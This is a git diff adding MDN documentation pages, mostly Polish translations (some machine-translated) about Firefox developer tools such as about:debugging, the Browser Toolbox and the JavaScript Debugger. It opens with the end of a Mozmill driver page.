+ <td>Misc. log message</td>
+ </tr>
+ <tr>
+ <td>persist</td>
+ <td>None</td>
+ <td>???</td>
+ </tr>
+ <tr>
+ <td>endTest</td>
+ <td>None</td>
+ <td>Test is finished (i.e stopApplication or restartApplication was called)</td>
+ </tr>
+ <tr>
+ <td>userShutdown</td>
+ <td>
+ <div class="line" id="LC415">
+ <span class="p">{</span></div>
+ <div class="line">
+ <span class="s1">  'user'</span><span class="o">:</span> boolean<span class="p">,</span></div>
+ <div class="line" id="LC416">
+   <span class="s1">'restart'</span><span class="o">:</span> <span class="nb">boolean</span><span class="p">,</span></div>
+ <div class="line" id="LC417">
+   <span class="s1">'next'</span><span class="o">:</span> <span class="nx"><em>next_test_to_run</em></span><span class="p">,</span></div>
+ <div class="line" id="LC418">
+   <span class="s1">'resetProfile'</span><span class="o">:</span> b<span class="nb">oolean</span></div>
+ <div class="line">
+ <span class="p">}</span></div>
+ </td>
+ <td>Once when userShutdown() is initiated, once again when timeout for shutdown occurs or shutdown occurs.</td>
+ </tr>
+ <tr>
+ <td>firePythonCallback</td>
+ <td>
+ <p>{<br>
+   'filename': <em>filename</em>,<br>
+   'method': <em>method</em>,<br>
+   'args': <em>args</em>,<br>
+   'kwargs': kwargs,<br>
+ }</p>
+ </td>
+ <td>Python callback is invoked</td>
+ </tr>
+ <tr>
+ <td>screenShot</td>
+ <td>
+ <div class="line" id="LC352">
+ <span class="p">{</span></div>
+ <div class="line">
+ <span class="s2">  '</span><span class="s2">filepath'</span><span class="o">:</span> <em><span class="nx">filepath</span></em><span class="p">,</span></div>
+ <div class="line" id="LC353">
+   '<span class="s2">dataURL'</span><span class="o">:</span> <em><span class="nx">dataURL</span></em><span class="p">,</span></div>
+ <div class="line" id="LC354">
+   '<span class="s2">name'</span><span class="o">:</span> <em><span class="nx">name</span></em><span class="p">,</span></div>
+ <div class="line" id="LC356">
+   '<span class="s2">timestamp'</span><span class="o">:</span> <em>timestamp</em><span class="p">,</span></div>
+ <div class="line">
+ <span class="p">}</span></div>
+ </td>
+ <td>controller.screenShot() is called</td>
+ </tr>
+ </tbody>
+</table>
+<h2 id="Using_the_Driver">Using the Driver</h2>
+<p>Now that your listener is setup, here is an example of how your extension might actually use Mozmill's driver.</p>
+<pre class="brush: js">// Import mozmill and initialize a controller object
+Components.utils.import('resource://mozmill/driver/mozmill.js');
+let controller = getBrowserController();
+
+// Open google
+controller.open('http://www.google.com');
+controller.waitForPageLoad();
+
+// Type in the search box
+let textbox = findElement.ID(controller.tabs.activeTab, 'lst-ib');
+let button = findElement.Name(controller.tabs.activeTab, 'btnK');
+textbox.sendKeys('foobar');
+button.click();
+</pre>
+<p>For more information regarding using Mozmill's driver, see the <a href="/en/Mozmill#Reference_Desk" title="https://developer.mozilla.org/en/Mozmill#Reference_Desk">Mozmill Reference Desk</a></p>
diff --git a/files/pl/narzędzia/about_colon_debugging/index.html b/files/pl/narzędzia/about_colon_debugging/index.html
new file mode 100644
index 0000000000..8ed93e0d15
--- /dev/null
+++ b/files/pl/narzędzia/about_colon_debugging/index.html
@@ -0,0 +1,207 @@
+---
+title: 'about:debugging'
+slug: 'Narzędzia/about:debugging'
+translation_of: 'Tools/about:debugging'
+---
+<p><font><font>Zakładka about:debugging gromadzi narzędzia developerskie Firefoxa i pozwala używać ich do testowania i debugowania wielu celów (dodatków). Na chwilę obecną wspiera trzy główne rodzaje celów: dodatki niewymagające restartu przeglądarki, karty (zakładki) i workersy (zadania w tle).</font></font></p>
+
+<h2 id="Otwieranie_zakładki_aboutdebugging"><font><font>Otwieranie zakładki about:debugging</font></font></h2>
+
+<p><font><font>Zakładkę about:debugging można otworzyć na kilka sposobów:</font></font></p>
+
+<ul>
+ <li><font><font>Wpisać "about:debugging" w pasku URL Firefoxa.</font></font></li>
+ <li><em><font><font>Od Firefoxa 47</font></font></em><font><font> : w menu Narzędzia &gt; Dla twórców witryn, kliknij "Wątki usługowe".</font></font></li>
+ <li><em><font><font>Od Firefoxa 47</font></font></em><font><font> : kliknij ikonę klucza ( </font></font><img alt="" src="https://mdn.mozillademos.org/files/12710/wrench-icon.png" style="height: 21px; width: 21px;"><font><font>), który jest w głównym pasku narzędzi lub w menu Hamburger ( </font></font><img alt="" src="https://mdn.mozillademos.org/files/12712/hamburger.png" style="height: 20px; width: 22px;"><font><font>), a następnie wybierz „Wątki usługowe”.</font></font></li>
+</ul>
+
+<p><font><font>Gdy otworzy się zakładka about:debugging, po lewej stronie zobaczysz sidebara umożliwiającego przełączanie pomiędzy dwoma widokami: jednym dla dodatków, drugim dla zadań w tle (Workers).</font></font></p>
+
+<h2 id="Dodatki"><font><font>Dodatki</font></font></h2>
+
+<div class="note">
+<p><font><font>Sekcja Dodatki w zakładce about:debugging obsługuje tylko dodatki niewymagające restartu przeglądarki, w tym </font></font><a href="/en-US/Add-ons/Bootstrapped_extensions"><font><font>basic bootstrapped extensions (niewspierane od FF &gt; 57)</font></font></a><font><font> , </font></font><a href="/en-US/Add-ons/SDK"><font><font>Add-on SDK Add-ons</font></font></a><font><font> i </font></font><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions"><font><font>WebExtensions (jedyne wspierane od FF &gt; 57)</font></font></a><font><font> .</font></font></p>
+</div>
+
+<p><font><font>Ta sekcja pozwala zrobić dwie rzeczy:</font></font></p>
+
+<ul>
+ <li><font><font>Załadować dodatek tymczasowo z dysku</font></font></li>
+ <li><font><font>Podłączyć </font></font><a href="/en-US/Add-ons/Add-on_Debugger"><font><font>Add-on Debugger</font></font></a><font><font> do dodatku niewymagającego restartu.</font></font></li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15009/debugger-revised.png" style="display: block; height: 612px; margin-left: auto; margin-right: auto; width: 700px;"></p>
+
+<h3 id="Podłączanie_Add-on_Debuggera"><font><font>Podłączanie Add-on Debuggera</font></font></h3>
+
+<div class="note">
+<p><font><font>Należy zauważyć, że obecnie do debugowania WebExtensions zaleca się korzystanie z Narzędzi Przeglądarki (Browser Toolbox) zamiast Add-on Debuggera.</font><font> Szczegóły są opisane w artykule </font></font><a href="/en-US/Add-ons/WebExtensions/Debugging"><font><font>Debugowanie WebExtensions</font></font></a><font><font>.</font></font></p>
+</div>
+
+<p><font><font>Sekcja Dodatki w zakładce about:debugging wyświetla wszystkie zainstalowane dodatki niewymagające restartu przeglądarki (lista może zawierać dodatki preinstalowane razem z Firefoxem). Przy każdym wyświetlonym dodatku znajduje się przycisk z etykietą "Debuguj".</font></font></p>
+
+<p><font><font>Jeżeli ww. przycisk jest nieaktywny należy zaznaczyć checkboxa "Debugowanie dodatków." na górze sekcji.</font></font></p>
+
+<p><font><font>Gdy klikniesz w przycisk "Debuguj" zobaczysz okno dialogowe z pytaniem o akceptację przychodzących połączeń. Kliknij "OK", a Add-on Debugger włączy się w oddzielnym oknie. Czasami okno debuggera może być schowane za głównym oknem Firefoxa. </font></font></p>
+
+<p>{{EmbedYouTube("tGGcA3bT3VA")}}</p>
+
+<p><font><font>By zobaczyć co możesz zrobić z Add-on Debuggerem zajrzyj do artykułu </font></font><a href="/en-US/docs/Mozilla/Add-ons/Add-on_Debugger"><font><font>Add-on Debugger</font></font></a>.</p>
+
+<div class="note">
+<p><a id="Enabling_add-on_debugging" name="Enabling_add-on_debugging"><font><font>Przycisk "Włącz debugowanie" zmienia wartości ustawień </font></font></a><code>devtools.chrome.enabled </code><font><font>i </font></font><code>devtools.debugger.remote-enabled</code><font><font>. </font><font>Obie opcje muszą mieć wartość</font><font> </font></font><code>true</code><font><font>, żeby debugowanie było dostępne. Zaznaczenie checkboxa ustawia obie wartości na <code>true</code>, odznaczenie go ustawia obie wartości na <code>false</code>.</font></font></p>
+
+<p><font><font>Można również zmodyfikować ustawienia bezpośrednio w about:config lub zaznaczając „Narzędzia debugowania chrome przeglądarki i dodatków” i „Debugowanie zdalne” w </font></font><a href="/en-US/docs/Tools/Tools_Toolbox#Settings"><font><font>Ustawieniach Narzędzia dla programistów</font></font></a><font><font> .</font></font></p>
+</div>
+
+<h3 id="Ładowanie_dodatku_tymczasowego"><font><font>Ładowanie dodatku tymczasowego</font></font></h3>
+
+<p><font><font>Przycisk "Wczytaj tymczasowy dodatek" pozwala wczytać jakikolwiek dodatek (niewymagający restartu) z katalogu na dysku. Wystarczy kliknąć przycisk, wybrać folder zawierający pliki dodatku i zaznaczyć dowolny plik w tym katalogu. Dodatek tymczasowy będzie wyświetlany pod etykietą "Tymczaowe rozszerzenia".</font></font></p>
+
+<p><font><font>Nie musisz pakować ani podpisywać dodatku. Będzie on zainstalowany do następnego restartu Firefoxa.</font></font></p>
+
+<p><font><font>{{EmbedYouTube("sAM78GU4P34")}}</font></font></p>
+
+<p><font><font>Największymi zaletami tej metody w porównaniu z instalacją dodatku z XPI są:</font></font></p>
+
+<ul>
+ <li><font><font>Nie musisz rebuildować XPI i reinstalować dodatku po zmianie kodu.</font></font></li>
+ <li><font><font>Możesz załadować dodatek bez podpisywania go, ani wyłączania wymagania podpisów.</font></font></li>
+</ul>
+
+<h3 id="Aktualizacja_dodatku_tymczasowego"><font><font>Aktualizacja dodatku tymczasowego</font></font></h3>
+
+<p><font><font>Co się dzieje jeśli zainstalujesz dodatek tym sposobem i zaktualizujesz jego pliki?</font></font></p>
+
+<h4 id="Przed_Firefoxem_48"><font><font>Przed Firefoxem 48</font></font></h4>
+
+<ul>
+ <li><font><font>Jeżeli zmienisz pliki, które są ładowane na żądanie, jak </font></font><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts"><font><font>skrypty treści</font></font></a><font><font> lub </font></font><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2"><font><font>pop-upy</font></font></a><font><font> wprowadzone zmiany są odbierane automatycznie i zobaczysz je po ponownym załadowaniu skryptu treści lub podczas wyswietlania pop-upa.</font></font></li>
+ <li><font><font>Jeżeli zmienisz pliki załadowane pozostawać przez cały czas, jak </font></font><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts"><font><font>skrypty tła</font></font></a><font><font> , a następnie można odebrać zmiany dokonane przez wyłączenie i ponowne włączenie narzutu na temat: strony dodatków.</font></font></li>
+ <li><font><font>Jeżeli zmienisz pliki, które są przetwarzane tylko w czasie instalacji, jak </font></font><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json"><font><font>manifest.json</font></font></a><font><font> pliku, musisz ponownie uruchomić Firefoksa, a następnie załadować dodatek ponownie.</font></font></li>
+</ul>
+
+<div class="note">
+<p><font><font>Należy pamiętać, że przed Firefox 48, ładowanie dodatek ponownie naciskając przycisk „Załaduj Temporary add-on” bez ponownego uruchamiania Firefox </font></font><em><font><font>nie działa</font></font></em><font><font> .</font></font></p>
+</div>
+
+<h4 id="Firefox_48_r"><font><font>Firefox 48 r</font></font></h4>
+
+<ul>
+</ul>
+
+<p><font><font>Firefox 48 z roku:</font></font></p>
+
+<ul>
+ <li><font><font>jak poprzednio: jeśli zmienisz pliki, które są ładowane na żądanie, jak </font></font><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts"><font><font>skrypty treści</font></font></a><font><font> lub </font></font><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2"><font><font>pop-upów</font></font></a><font><font> , a zmiany wprowadzane są odbierane automatycznie, a zobaczysz je następnym razem treść skryptu jest załadowany lub popup jest wyświetlany.</font></font></li>
+ <li><font><font>istnieje lepszy sposób obsługiwać inne przypadki: kliknij przycisk „Odśwież” obok przycisku „Debug”. </font><font>To robi to, co mówi:</font></font>
+ <ul>
+ <li><font><font>przeładunku żadnych trwałych skryptów, takich jak </font></font><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts"><font><font>skrypty tle</font></font></a></li>
+ <li><font><font>ponownie parsowania pliku manifest.json, tak aby zmiany </font></font><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code><font><font>, </font></font><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code><font><font>, </font></font><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code><font><font>lub jakiekolwiek inne klawisze nie przyniosą efektu.</font></font></li>
+ </ul>
+ </li>
+</ul>
+
+<div class="note">
+<p><font><font>Zauważ, że w Firefoksie 49 r, przycisk Odśwież jest dostępna tylko dla tymczasowych dodatków. </font><font>zostanie ona wyłączona dla wszystkich innych dodatków.</font></font></p>
+</div>
+
+<h2 id="Tabs"><font><font>Tabs</font></font></h2>
+
+<p><font><font>Firefox 49 roku, strona jest dostępna w Tabs </font></font><code>about:debugging</code><font><font>- to zapewnia pełną listę wszystkich debuggable otwartych kart w bieżącej instancji Firefox.</font></font></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13617/about-debugging-tabs.png" style="display: block; height: 628px; margin: 0px auto; width: 900px;"></p>
+
+<p><font><font>Każdy wpis ma zakładka </font></font><em><font><font>Debug</font></font></em><font><font> przycisk obok niego - po kliknięciu, to otworzy się zestaw narzędzi specyficznych dla tej zakładki, co pozwala na debugowanie że zawartość Tab.</font></font></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13619/about-debugging-tabs-toolbox.png" style="display: block; height: 628px; margin: 0px auto; width: 900px;"></p>
+
+<div class="note">
+<p><font><font>Zauważ, że ta funkcja nie jest bezpośrednio przydatna do debugowania kart pulpitu - można otworzyć zestaw narzędzi do debugowania kartę już dosyć łatwo - ale to będzie znacznie bardziej przydatna, gdy </font></font><code>about:debugging</code><font><font>zacznie obsługiwać zdalne debugowanie, a ta strona może zacząć notować kartach do debugowania na urządzeniu mobilnym przeglądarek symulatorów itp Zobacz {{bug (1212802)}} za ostatni na tej pracy.</font></font></p>
+</div>
+
+<h2 id="Pracownicy"><font><font>Pracownicy</font></font></h2>
+
+<p><font><font>Strona Pracownicy pokazuje swoim pracownikom, podzielone w następujący sposób:</font></font></p>
+
+<ul>
+ <li><font><font>Wszyscy zarejestrowani </font></font><a href="/en-US/docs/Web/API/Service_Worker_API"><font><font>pracownicy usług</font></font></a></li>
+ <li><font><font>Wszystkie zarejestrowane </font></font><a href="/en-US/docs/Web/API/SharedWorker"><font><font>Pracownicy Shared</font></font></a></li>
+ <li><font><font>Inni pracownicy, w tym </font></font><a href="/en-US/docs/Web/API/ChromeWorker"><font><font>Chrome Robotników</font></font></a><font><font>  i </font></font><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers#Dedicated_workers"><font><font>Pracowników dedykowane</font></font></a></li>
+</ul>
+
+<p><font><font>Można podłączyć narzędzi programistycznych do każdego pracownika, a także wysyłać powiadomień push do pracowników usług.</font></font></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13058/about-debugging-workers.png" style="display: block; height: 642px; margin-left: auto; margin-right: auto; width: 784px;"></p>
+
+<h3 id="Pracownik_serwisu_stan"><font><font>Pracownik serwisu stan</font></font></h3>
+
+<p><font><font>Z Firefoksa 52, lista pracowników służby pokazuje stan pracownika serwisu w jego </font></font><a href="https://developers.google.com/web/fundamentals/instant-and-offline/service-worker/lifecycle"><font><font>cyklu życia</font></font></a><font><font> . </font><font>Trzy stany wyróżnia się:</font></font></p>
+
+<ul>
+ <li><em><font><font>„Rejestrowanie”</font></font></em><font><font> : obejmuje wszystkie stany pomiędzy pracownikiem serwisowego pierwszej rejestracji, a jego przejęcia kontroli stron. </font><font>Oznacza to, że podsumowuje „Instalowanie”, „aktywacji” i „Oczekiwanie”, stwierdza.</font></font></li>
+ <li><em><font><font>„Running”</font></font></em><font><font> : pracownik usług jest obecnie uruchomiony. </font><font>Jest zainstalowany i aktywowany, a obecnie obsługi zdarzeń.</font></font></li>
+ <li><em><font><font>„Stopped”</font></font></em><font><font> : pracownik usługa jest zainstalowany i aktywowany, ale została rozwiązana po bezczynności.</font></font></li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14488/service-worker-status.png" style="display: block; height: 555px; margin-left: auto; margin-right: auto; width: 900px;"></p>
+
+<div class="note">
+<p><font><font>Ta sekcja używa prostego ServiceWorker demo, którego gospodarzem w </font></font><a href="https://serviceworke.rs/push-simple/"><font><font>https://serviceworke.rs/push-simple/</font></font></a><font><font> .</font></font></p>
+</div>
+
+<h3 id="pracownicy_debugowania"><font><font>pracownicy debugowania</font></font></h3>
+
+<p><font><font>Dla pracownika serwisu, jeśli jest już uruchomiony, zobaczysz dwa przyciski obok niej, oznaczony „Debug” i „push”. </font><font>Jeśli nie jest już uruchomiony, zobaczysz jeden przycisk, oznaczony „Start”: Kliknij, aby rozpocząć pracownika serwisu.</font></font></p>
+
+<p><font><font>Kliknięcie „Debug” łączy debugger JavaScript i konsolę do tego pracownika. </font><font>Można ustawić punkty przerwania, krok za pomocą kodu, obserwować zmienne, ocenić kod i tak dalej:</font></font></p>
+
+<p><font><font>{{EmbedYouTube("Z8ax79sHWDU")}}</font></font></p>
+
+<h3 id="pracownicy_rejestrowanie"><font><font>pracownicy rejestrowanie</font></font></h3>
+
+<p><font><font>Po pierwsze, nie będzie widać żadnych pracowników wymienionych poniżej </font></font><em><font><font>pracownicy usług</font></font></em><font><font> lub </font></font><em><font><font>udostępnionych Pracowników</font></font></em><font><font> . </font><font>Tak szybko, jak pracownik jest zarejestrowany, wykaz jest aktualizowany:</font></font></p>
+
+<p><font><font>{{EmbedYouTube("wy4kyWFhFF4")}}</font></font></p>
+
+<div class="note">
+<p><font><font>Przed Firefox 47, pracownicy usług zostały pokazane tylko wtedy, gdy zostały one faktycznie działa.</font></font></p>
+</div>
+
+<h3 id="pracownicy_usług_Wyrejestrowywanie"><font><font>pracownicy usług Wyrejestrowywanie</font></font></h3>
+
+<div class="geckoVersionNote">
+<p><font><font>Nowy Firefox 48.</font></font></p>
+</div>
+
+<p><font><font>Uruchamianie w Firefoksie 48, zobaczysz link o nazwie „wyrejestrować” obok każdego zarejestrowanego pracownika serwisu:</font></font></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13056/unregister-sw.png" style="display: block; margin-left: auto; margin-right: auto; width: 700px;"></p>
+
+<p><font><font>Kliknij link, aby wyrejestrować pracownika serwisu.</font></font></p>
+
+<h3 id="Wysyłanie_zdarzeń_wypychania_do_pracowników_usług"><font><font>Wysyłanie zdarzeń wypychania do pracowników usług</font></font></h3>
+
+<div class="note">
+<p><font><font>Wysyłanie zdarzeń wypychania w about: debugowanie jest nowego w Firefoksie 47.</font></font></p>
+</div>
+
+<p><font><font>Do debugowania powiadomień Push, można ustawić punkt przerwania w </font></font><a href="/en-US/docs/Web/API/PushEvent"><font><font>wydarzeniu Push</font></font></a><font><font> słuchacza. </font><font>Jednakże, można również debugować powiadomienia push lokalnie, bez potrzeby serwera. </font><font>Wystarczy kliknąć przycisk „push”, aby wysłać zdarzenie Push pracownikowi serwisu:</font></font></p>
+
+<p><font><font>{{EmbedYouTube ( "62SkLyA-ZnO")}}</font></font></p>
+
+<h3 id="pracownicy_usług_nie_są_kompatybilne"><font><font>pracownicy usług nie są kompatybilne</font></font></h3>
+
+<div>
+<p><font><font>Firefox 49+ komunikat ostrzegawczy zostanie wyświetlony w sekcji Obsługa Pracowników strony pracowników, jeżeli pracownicy usług są niezgodne z bieżącej konfiguracji przeglądarki, a zatem nie mogą być używane lub pozbawione błędów.</font></font></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13613/sw-not-compatible.png" style="display: block; height: 705px; margin: 0px auto; width: 1011px;"></p>
+</div>
+
+<p><font><font>pracownicy usług mogą być niedostępne z kilku powodów:</font></font></p>
+
+<ul>
+ <li><font><font>Jeśli używasz Prywatna okno przeglądania.</font></font></li>
+ <li><font><font>Jeśli preferencji Historia jest ustawiony na „Nigdy nie pamiętał historię” lub „Zawsze używaj trybu przeglądania prywatnego”.</font></font></li>
+ <li><font><font>Jeśli </font></font><code>dom.serviceWorkers.enable</code><font><font>preferencji jest ustawiona na false w </font></font><code>about:config</code><font><font>.</font></font></li>
+</ul>
diff --git a/files/pl/narzędzia/browser_toolbox/index.html b/files/pl/narzędzia/browser_toolbox/index.html
new file mode 100644
index 0000000000..b5a4fa88ce
--- /dev/null
+++ b/files/pl/narzędzia/browser_toolbox/index.html
@@ -0,0 +1,40 @@
+---
+title: Browser Toolbox
+slug: Narzędzia/Browser_Toolbox
+translation_of: Tools/Browser_Toolbox
+---
+<p>The Browser Toolbox enables you to debug add-ons and the browser's own JavaScript code rather than just web pages like the normal <a href="/en-US/docs/Tools_Toolbox">Toolbox</a>.  The Browser Toolbox's context is the whole browser rather than just single page on a single tab.</p>
+
+<p><em>Note:  If you want to debug a specific add-on that is restartless or SDK-based then try the <a href="/en-US/Add-ons/Add-on_Debugger">Add-on Debugger</a>.  Use the Browser Toolbox for add-ons that are neither.</em></p>
+
+<h2 id="Enabling_the_Browser_Toolbox" style="line-height: 30px; font-size: 2.14285714285714rem;">Enabling the Browser Toolbox </h2>
+
+<div>
+<p>The Browser Toolbox is not enabled by default.  To enable it you need to check the settings "Enable chrome and addon debugging" and "Enable remote debugging".</p>
+
+<p>To do this, open the Developer Tools <a href="https://developer.mozilla.org/en-US/docs/Tools/Tools_Toolbox">Toolbox</a>'s <a href="https://developer.mozilla.org/en-US/docs/Tools/Tools_Toolbox#Settings">Settings</a>, go to the section "<a href="https://developer.mozilla.org/en-US/docs/Tools/Tools_Toolbox#Advanced_settings">Advanced Settings</a>", and check the settings "Enable chrome and addon debugging" and "Enable remote debugging".</p>
+</div>
+
+<h2 id="Opening_the_Browser_Toolbox"><span style="font-size: 2.14285714285714rem;">Opening</span> the Browser Toolbox</h2>
+
+<p><span style="line-height: 1.5;">Open the Browser Toolbox through the </span><span style="line-height: 1.5;">menu button </span><img alt="new fx menu" class="wiki-image frameless" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2014-01-10-13-08-08-f52b8c.png" style="line-height: 1.5;" title=""><span style="line-height: 1.5;"> and the menu items "Developer" then "Browser Toolbox".</span><span style="line-height: 1.5;"> </span></p>
+
+<p><span style="line-height: 1.5;">Click the menu item and you'll be presented with a dialog like this (this can be removed by setting the </span><code style="font-style: normal; line-height: 1.5;">devtools.debugger.prompt-connection</code><span style="line-height: 1.5;"> property to false):</span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6663/warning.png" style="width: 554px; height: 243px; display: block; margin-left: auto; margin-right: auto;">Click OK, and the Browser Toolbox will open in its own window:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6665/browser-toolbox.png" style="display: block; margin-left: auto; margin-right: auto;">You'll see, and be able to debug, all the JavaScript files loaded by the browser itself and by any add-ons that are running. Altogether you will have access to the following developer tools:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Debugger">Debugger</a>  (<em>Note:  If you want to debug a specific add-on that is restartless or SDK-based then try the <a href="/en-US/Add-ons/Add-on_Debugger">Add-on Debugger</a>.)</em></li>
+ <li><a href="/en-US/docs/Tools/Browser_Console">Console</a></li>
+ <li><a href="/en-US/docs/Tools/Style_Editor">Style Editor</a></li>
+ <li><a href="/en-US/docs/Tools/Profiler">Profiler</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a></li>
+ <li><a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector">Page Inspector</a></li>
+</ul>
+
+<h2 id="Debugging_chrome_and_about_pages">Debugging chrome: and about: pages</h2>
+
+<p>From Firefox 37 onwards, you can debug chrome: and about: pages using the normal <a href="/en-US/docs/Tools/Debugger">Debugger</a>, just as if they were ordinary content pages.</p>
diff --git a/files/pl/narzędzia/debugger/how_to/index.html b/files/pl/narzędzia/debugger/how_to/index.html
new file mode 100644
index 0000000000..0ee1b834a1
--- /dev/null
+++ b/files/pl/narzędzia/debugger/how_to/index.html
@@ -0,0 +1,11 @@
+---
+title: How to
+slug: Narzędzia/Debugger/How_to
+tags:
+ - NeedsTranslation
+ - TopicStub
+translation_of: Tools/Debugger/How_to
+---
+<p><span class="seoSummary">These articles describe how to use the debugger.</span></p>
+
+<p>{{ ListSubpages () }}</p>
diff --git a/files/pl/narzędzia/debugger/index.html b/files/pl/narzędzia/debugger/index.html
new file mode 100644
index 0000000000..b81218619f
--- /dev/null
+++ b/files/pl/narzędzia/debugger/index.html
@@ -0,0 +1,81 @@
+---
+title: Debugger
+slug: Narzędzia/Debugger
+translation_of: Tools/Debugger
+---
+<p> JavaScript Debugger pozwala przejść przez kod JavaScript i spawdzić lub zmienić jego stan, aby pomóc wyśledzić błędy.</p>
+
+<p><span id="result_box" lang="pl"><span class="hps">Można go używać</span> <span class="hps">do</span> <span class="hps">debugowania kodu.</span> D<span class="hps">ziała lokalnie</span> <span class="hps">w Firefoksie</span> <span class="hps">lub pracuje</span> <span class="hps">zdalnie</span></span>, na przykład w urządzeniu Firefox OS lub w przeglądarce Firefox na Androida. Zobacz <a href="/en-US/docs/Tools/Remote_Debugging">zdalne debugowanie </a>by nauczyć się jak przełączyć debuggera do trybu zdalnego.</p>
+
+<p>{{EmbedYouTube("sK8KU8oiF8s")}}</p>
+
+<hr>
+<h2 id="Użytkownik_interfejsu_Tour">Użytkownik interfejsu Tour</h2>
+
+<p>Aby odnaleźc drogę debuggera, oto <a href="/en-US/docs/Tools/Debugger/UI_Tour">szybkie zwiedzanie UI.</a></p>
+
+<hr>
+<h2 id="Jak_to_zrobić">Jak to zrobić?</h2>
+
+<p>Aby dowiedzieć się co można zrobić z użyciem debuggera, zobacz nastepujacy przewodnik:</p>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Open_the_debugger">Otworzenie debuggera</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Set_a_breakpoint">Ustawianie punktu przerwania</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Disable_breakpoints">Wyłączenie przerwania</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Step_through_code">Krok za pomocą kodu</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Break_on_a_DOM_event">Break on a DOM event</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Highlight_and_inspect_DOM_nodes">Highlight and inspect DOM nodes</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Pretty-print_a_minified_file">Pretty-print a minified file</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Search_and_filter">Szukanie i filtry</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">Set a conditional breakpoint</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Examine,_modify,_and_watch_variables">Examine, modify, and watch variables</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">Use a source map</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Black_box_a_source">Black box a source</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Debug_eval_sources">Debug eval sources</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Tools/Debugger/How_to/Access_debugging_in_add-ons">Access debugging in add-ons</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Referencje">Referencje</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Debugger/Keyboard_shortcuts">Keyboard shortcuts</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Debugger/Settings">Settings</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/pl/narzędzia/index.html b/files/pl/narzędzia/index.html
new file mode 100644
index 0000000000..8f9560929a
--- /dev/null
+++ b/files/pl/narzędzia/index.html
@@ -0,0 +1,211 @@
+---
+title: Narzędzia dla programistów Firefox
+slug: Narzędzia
+tags:
+ - Narzędzia
+translation_of: Tools
+---
+<div>{{ToolsSidebar}}</div>
+
+<p class="summary">Examine, edit, and debug HTML, CSS, and JavaScript on the desktop and on mobile.</p>
+
+<p>If you are looking for information on using the web developer tools available in Firefox, you've come to the right place — this page provides links to detailed information on all of the core tools and additional tools, and further information such as how to connect to and debug Firefox for Android, how to extend the devtools, and how to debug the browser as a whole.</p>
+
+<p>Please explore the links found in the sidebar, and further down the page. If you have any feedback or questions about the devtools, send us messages on our mailing list or IRC channel (see the <a href="/en-US/docs/Tools#Join_the_Developer_tools_community">community links near the bottom of the page</a>). If you have any feedback or questions specifically about the documentation, the <a href="https://discourse.mozilla.org/c/mdn">MDN discourse</a> is a good place to post.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you are just getting started with web development and using developer tools, our <a href="/en-US/docs/Learn">learning web development</a> docs will help you — see <a href="/en-US/docs/Learn/Getting_started_with_the_web">Getting started with the Web</a> and <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools?</a> for good starting points.</p>
+</div>
+
+<h2 id="The_Core_Tools">The Core Tools</h2>
+
